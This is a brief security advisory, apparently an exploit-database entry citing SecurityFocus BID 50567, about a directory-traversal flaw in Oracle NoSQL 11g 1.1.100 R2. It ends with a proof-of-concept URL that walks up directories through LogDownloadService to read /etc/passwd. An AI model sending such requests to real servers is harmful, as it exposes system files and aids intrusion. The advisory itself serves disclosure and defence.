source: https://www.securityfocus.com/bid/50567/info

Oracle NoSQL is prone to a directory-traversal vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain arbitrary local files in the context of the webserver process.

NoSQL 11g 1.1.100 R2 is vulnerable; other versions may also be affected. 

http://www.example.com/kvadminui/LogDownloadService?log=../../../../../../../../../../../../../../../etc/passwd